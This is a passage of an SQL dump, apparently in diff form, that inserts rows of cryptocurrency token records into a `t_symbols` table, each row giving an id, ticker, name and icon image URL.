'OUTDEFINE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1165870356357189633.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3822, 'bt2-cst', 'BT2', 'Bitcoin SegWit2X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bt2-cst.png', NULL); +INSERT INTO `t_symbols` VALUES (3823, 'clubcoin', 'CLUB', 'ClubCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clubcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3824, 'daec', 'DAEC', 'DAEC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daec.png', NULL); +INSERT INTO `t_symbols` VALUES (3825, 'lendroid-support-token', 'LST', 'Lendroid Support Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lendroid-support-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3826, 'percival', 'XPV', 'Percival', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/percival.png', NULL); +INSERT INTO `t_symbols` VALUES (3827, 'quasarcoin', 'QAC', 'Quasarcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quasarcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3828, 'see', 'SEE', 'Insee Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/see.png', NULL); +INSERT INTO `t_symbols` VALUES (3829, 'vey', 'VEY', 'VEY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vey.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3830, 'xph', 'XPH', 'PHANTOM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xph.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3831, 'minergate-token', 'MG', 'MinerGate Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/minergate-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3832, '2acoin', 'ARMS', '2ACoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/2acoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3833, 'cmdx', 'CMDX', 'CMDX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cmdx.png', NULL); +INSERT INTO `t_symbols` VALUES (3834, 'maiscoin', 'MAIS', 'MaisCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maiscoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3835, 'bitcoinmoney', 'BCM', 'BitcoinMoney', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinmoney.png', NULL); +INSERT INTO `t_symbols` VALUES (3836, 'litegoldcoin', 'LGC', 'LiteGoldCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litegoldcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3837, 'xscoin', 'XSC', 'xscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3838, 'pixby', 'PIXBY', 'PIXBY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pixby.png', NULL); +INSERT INTO `t_symbols` VALUES (3839, 'amt-1', 'AMT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/amulet.png', NULL); +INSERT INTO `t_symbols` VALUES (3840, 'asl', 'ASL', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1452026613416304642.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3841, 'astro', 'ASTRO', 'Astro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/astronautcap.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3842, 'hec', 'HEC', 'hec', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hec.png', NULL); +INSERT INTO `t_symbols` VALUES (3843, 'internet-of-people', 'HYD', 'Hydraledger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/internet-of-people.png', NULL); +INSERT INTO `t_symbols` VALUES (3844, 'leocoin', 'LC4', 'LEOcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/leocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3845, 'mex', 'MEX', 'MEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mex.png', NULL); +INSERT INTO `t_symbols` VALUES (3846, 'stex', 'STEX', 'STEX', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3847, 'xponz', 'XPONZ', 'Xponz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xponz.png', NULL); +INSERT INTO `t_symbols` VALUES (3848, 'dns-token', 'DNS', 'DNS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dns-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3849, 'redi', 'REDI', 'REDi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/redi.png', NULL); +INSERT INTO `t_symbols` VALUES (3850, 'proof-token', 'PRFT', 'Proof', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proof-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3851, 'xtrlpay', 'XTRLPAY', 'XTRLPAY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xtrlpay.png', NULL); +INSERT INTO `t_symbols` VALUES (3852, 'click-chain-coin', 'XZP', 'Click Chain Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/click-chain-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3853, 'dncom', 'DN', 'DNCOM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dncom.png', NULL); +INSERT INTO `t_symbols` VALUES (3854, 'buycoinpos', 'BCP', 'BuyCoinPos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buycoinpos.png', NULL); +INSERT INTO `t_symbols` VALUES (3855, 'netkoin-liquid', 'LIQUID', 'Netkoin Liquid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/netkoin-liquid.png', NULL); +INSERT INTO `t_symbols` VALUES (3856, 'peth18c', 'PETH18C', 'pETH18C', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peth18c.png', NULL); +INSERT INTO `t_symbols` VALUES (3857, 'medieval-empires', 'MEE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1526821051983970305.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3858, 'join-the-pressure', 'JTP', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/980677874.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3859, '888tron', '888', '888tron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/888tron.png', NULL); +INSERT INTO `t_symbols` VALUES (3860, 'bitcoin-air', 'XBA', 'Bitcoin Air', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-air.png', NULL); +INSERT INTO `t_symbols` VALUES (3861, 'dagger', 'XDAG', 'Dagger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dagger.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3862, 'eub-token', 'EUBC', 'EUB Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eub-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3863, 'gamblecoin', 'GMCN', 'GambleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamblecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3864, 'internet-of-things', 'XOT', 'Internet of Things', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/iot_coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3865, 'less', 'LESS', 'Lordless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/less.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3866, 'nmct', 'NCMT', 'nmct', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3867, 'petc', 'PETC', 'Petcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/petc.png', NULL); +INSERT INTO `t_symbols` VALUES (3868, 'seek', 'SEEK', 'SEEK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seek.png', NULL); +INSERT INTO `t_symbols` VALUES (3869, 'virtual-goods-token', 'VGO', 'Virtual Goods Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/virtual-goods-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3870, 'worktips', 'WTIP', 'Worktips', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/worktips.png', NULL); +INSERT INTO `t_symbols` VALUES (3871, 'rotohive', 'ROTO', 'Roto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rotohive.png', NULL); +INSERT INTO `t_symbols` VALUES (3872, 'tibab', 'TIB', 'TiBAB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tibab.png', NULL); +INSERT INTO `t_symbols` VALUES (3873, 'xenia-coin', 'XEN', 'Xenia Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xenia-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3874, 'lunarium', 'XLN', 'Lunarium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunarium.png', NULL); +INSERT INTO `t_symbols` VALUES (3875, 'makemycoin', 'MMCO', 'MakeMyCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/makemycoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3876, 'blockchainpoland', 'BCP', 'BlockchainPoland', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockchainpoland.png', NULL); +INSERT INTO `t_symbols` VALUES (3877, 'lithium', 'LIT', 'Lithium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lithium.png', NULL); +INSERT INTO `t_symbols` VALUES (3878, 'seedcoin', 'XSD', 'Seedcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seedcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3879, 'gameyoo', 'GYC', 'GameYoo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gameyoo.png', NULL); +INSERT INTO `t_symbols` VALUES (3880, 'renw', 'RENW', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1054657295559225346.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3881, 'mbe', 'MBE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/936145892117229568.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3882, 'peth', 'PETH', 'Pooled Ether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peth.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3883, 'qube', 'QUBE', 'Qube', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qube.png', NULL); +INSERT INTO `t_symbols` VALUES (3884, 'sthblock', 'SMTH', 'sthblock', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3885, 'xqr', 'XQR', 'Qredit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xqr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3886, 'zorochain', 'ZORO', 'zorochain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/zorochain.png', NULL); +INSERT INTO `t_symbols` VALUES (3887, 'hjig-chain', 'HJIG', 'HJIG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hjig-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3888, 'asterion-space', 'ATR', 'Asterion Space', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asterion-space.png', NULL); +INSERT INTO `t_symbols` VALUES (3889, 'digi-dinar', 'DDR', 'Digi Dinar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digi-dinar.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3890, 'mobit-global', 'MBGL', 'Mobit Global', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobit-global.png', NULL); +INSERT INTO `t_symbols` VALUES (3891, 'repux', 'REPUX', 'RepuX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/repux.png', NULL); +INSERT INTO `t_symbols` VALUES (3892, 'bitcoin-classic-token', 'BCT', 'Bitcoin Classic Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-classic-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3893, 'loopycoin', 'LOC', 'loopycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loopycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3894, 'xycchain', 'XYCC', 'XYCChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xycchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3895, 'govworld-govtoken', 'GOV', 'GovWorld', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/govworld.png', NULL); +INSERT INTO `t_symbols` VALUES (3896, 'starly', 'STARLY', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/starlyio.png', NULL); +INSERT INTO `t_symbols` VALUES (3897, 'daotoken', 'DAO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/daomaker.png', NULL); +INSERT INTO `t_symbols` VALUES (3898, 'wizardia', 'WZRD', 'Wizardia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/wizardia.png', NULL); +INSERT INTO `t_symbols` VALUES (3899, 'bookio', 'BOOK', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1395397041438793729.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3900, 'bzr', 'BZR', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1436308714856730625.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3901, 'bitcoin-black', 'BLACK', 'bitcoin-black', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-black.png', NULL); +INSERT INTO `t_symbols` VALUES (3902, 'ebit', 'EBIT', 'eBIT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ebit_tokens.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3903, 'game-bank-coin', 'GBC', 'Game Bank Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/game-bank-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3904, 'nmt', 'NMT', 'NMT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nmt.png', NULL); +INSERT INTO `t_symbols` VALUES (3905, 'trackant', 'TAT', 'trackant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trackant.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3906, 'xrp-classic', 'XRPC', 'XRP Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xrp-classic.png', NULL); +INSERT INTO `t_symbols` VALUES (3907, 'super-coinview-token', 'SCV', 'SCV.finance Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/super-coinview-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3908, 'advancedtds', 'RELAY', 'RELAY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/advancedtds.png', NULL); +INSERT INTO `t_symbols` VALUES (3909, 'p2p-coin', 'P2P', 'P2P Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/p2p-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3910, 'intro-token', 'NTRO', 'iNTRO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intro-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3911, 'mularpay', 'MP', 'MularPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mularpay.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3912, 'r2x', 'RTX', 'R2X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/r2x.png', NULL); +INSERT INTO `t_symbols` VALUES (3913, 'badcoin', 'BAD', 'BADcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/badcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3914, 'bitcardtour', 'BCT', 'BitCard Tour', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcardtour.png', NULL); +INSERT INTO `t_symbols` VALUES (3915, 'life-style-chain', 'LST', 'Life Style Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/life-style-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3916, 'yeecore', 'YEC', 'Yeecore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yeecore.png', NULL); +INSERT INTO `t_symbols` VALUES (3917, 'tai', 'TAI', 'tBridge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tai.png', NULL); +INSERT INTO `t_symbols` VALUES (3918, 'dexfin', 'DXF', 'Dexfin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dexfin.png', NULL); +INSERT INTO `t_symbols` VALUES (3919, 'nyanheroes', 'NYN', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/nyaneroes.png', NULL); +INSERT INTO `t_symbols` VALUES (3920, 'metaoasis', 'MTOS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1455697568499781633.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3921, 'mars-labs', 'MRST', 'Mars Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1422836617249628163.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3922, 'bitcoin-bull', 'BITB', 'Bitcoin Bull', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-bull.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3923, 'btcbanktoken', 'BT', 'btcbanktoken', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3924, 'cmc', 'CMC', 'cmc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cmc.png', NULL); +INSERT INTO `t_symbols` VALUES (3925, 'dakicoin', 'DIC', 'Daikicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dakicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3926, 'game-chain-world', 'GCW', 'game-chain-world', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/game-chain-world.png', NULL); +INSERT INTO `t_symbols` VALUES (3927, 'mgctoken', 'MGC', 'MGC Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mgctoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3928, 'pf', 'PF', 'Proof', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pf.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3929, 'qubitica', 'QBIT', 'Qubitica', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qubitica.png', NULL); +INSERT INTO `t_symbols` VALUES (3930, 'xrpalike-gene', 'XAG', 'Xrpalike Gene', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xrpalike-gene.png', NULL); +INSERT INTO `t_symbols` VALUES (3931, 'bsha3', 'BSHA3', 'BSHA3', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bsha3.png', NULL); +INSERT INTO `t_symbols` VALUES (3932, 'apeiron', 'APEIR', 'APEIRON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apeiron.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3933, 'aftershock', 'SHOCK', 'AfterShock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aftershock.png', NULL); +INSERT INTO `t_symbols` VALUES (3934, 'ballzcoin', 'BALLZ', 'Ballzcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ballzcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3935, 'arto', 'RTO', 'Arto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arto.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3936, 'saturn-classic-dao-token', 'STRN', 'Saturn Classic DAO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/saturn-classic-dao-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3937, 'saturn-dao-token', 'SATURN', 'Saturn DAO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/saturn-dao-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3938, 'boardcoin', 'BDC', 'Boardcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boardcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3939, 'litegold', 'LTG', 'LiteGold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litegold.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3940, 'zichain', 'ZCN', 'Zichain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zichain.png', NULL); +INSERT INTO `t_symbols` VALUES (3941, 'lztoken', 'LZ', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/launchzone.png', NULL); +INSERT INTO `t_symbols` VALUES (3942, 'tinyworld', 'TINC', 'Tiny Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/tinyworld.png', NULL); +INSERT INTO `t_symbols` VALUES (3943, 'sxnetwork', 'SX', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/sxnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (3944, 'vcore', 'VCORE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vcore.png', NULL); +INSERT INTO `t_symbols` VALUES (3945, 'fght', 'FGHT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1583039028278042624.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3946, 'aaacoin', 'AAA', 'AAA COIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aaacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3947, 'atf', 'ATF', 'Agro Tech Farm', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atf.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3948, 'btcc', 'BTCC', 'btcc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btcc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3949, 'seer-chain', 'SER', 'seer-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3950, 'xrr', 'XRRT', 'XchangeRate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xrr.png', NULL); +INSERT INTO `t_symbols` VALUES (3951, 'sparkster', 'SPRK', 'Sparkster', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sparkster.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3952, 'dhgchain', 'DHG', 'DHG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dhgchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3953, 'liquidwave', 'LIQUID', 'LiquidWave', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquidwave.png', NULL); +INSERT INTO `t_symbols` VALUES (3954, 'ton-money', 'TON$', 'TON Money', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ton-money.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3955, 'bei-dou-chain', 'BDC', 'BeidouChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bei-dou-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3956, 'lutherchain', 'LTH', 'LutherChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lutherchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3957, 'zeonhexalgo', 'ZEON', 'Zeon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeonhexalgo.png', NULL); +INSERT INTO `t_symbols` VALUES (3958, 'jackpool', 'JFI', 'JackPool.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jackpool.png', NULL); +INSERT INTO `t_symbols` VALUES (3959, 'rlt', 'RLT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/rlink.png', NULL); +INSERT INTO `t_symbols` VALUES (3960, 'team', 'TEAM', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/teamdao.png', NULL); +INSERT INTO `t_symbols` VALUES (3961, 'des-token', 'DES', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/delysium.png', NULL); +INSERT INTO `t_symbols` VALUES (3962, 'illumishare-srg-token', 'SRG', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/lumishare.png', NULL); +INSERT INTO `t_symbols` VALUES (3963, 'aat', 'AAT', 'aat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aat.png', NULL); +INSERT INTO `t_symbols` VALUES (3964, 'athenian-warrior-token', 'ATH', 'Athenian Warrior Elite Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/athenian-warrior-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3965, 'dali', 'DALI', 'DALICHAIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dali.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3966, 'heizuantoken', 'HZT', 'Black Diamond Rating', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heizuantoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3967, 'no-bs-crypto', 'NOBS', 'No BS Crypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/no-bs-crypto.png', NULL); +INSERT INTO `t_symbols` VALUES (3968, 'seetoken', 'SEE', 'seetoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seetoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3969, 'stm', 'STM', 'Stream', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3970, 'trad', 'TRAD', 'Tradcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trad.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3971, 'xrt', 'XRT', 'THE X-FACTOR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xrt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3972, 'butterfly', 'BK', 'Butterfly Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/butterfly.png', NULL); +INSERT INTO `t_symbols` VALUES (3973, 'staramba-token', 'STT', 'STARAMBA.Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/staramba-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3974, 'mangacoin', 'MANGA', 'MangaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mangacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3975, 'nzed', 'NZDT', 'NZed', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nzed.png', NULL); +INSERT INTO `t_symbols` VALUES (3976, 'six-farm', 'SAM', 'Six Farm', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/six-farm.png', NULL); +INSERT INTO `t_symbols` VALUES (3977, 'btc-biz', 'BTCBZ', 'BTC BIZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btc-biz.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3978, 'domocoin', 'DOMO', 'DOMO Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/domocoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3979, 'blockonix-token', 'BDT', 'Blockonix Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockonix-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3980, 'litkoin', 'LTK', 'LitKoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litkoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3981, 'zoptax', 'ZPT', 'Zoptax', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zoptax.png', NULL); +INSERT INTO `t_symbols` 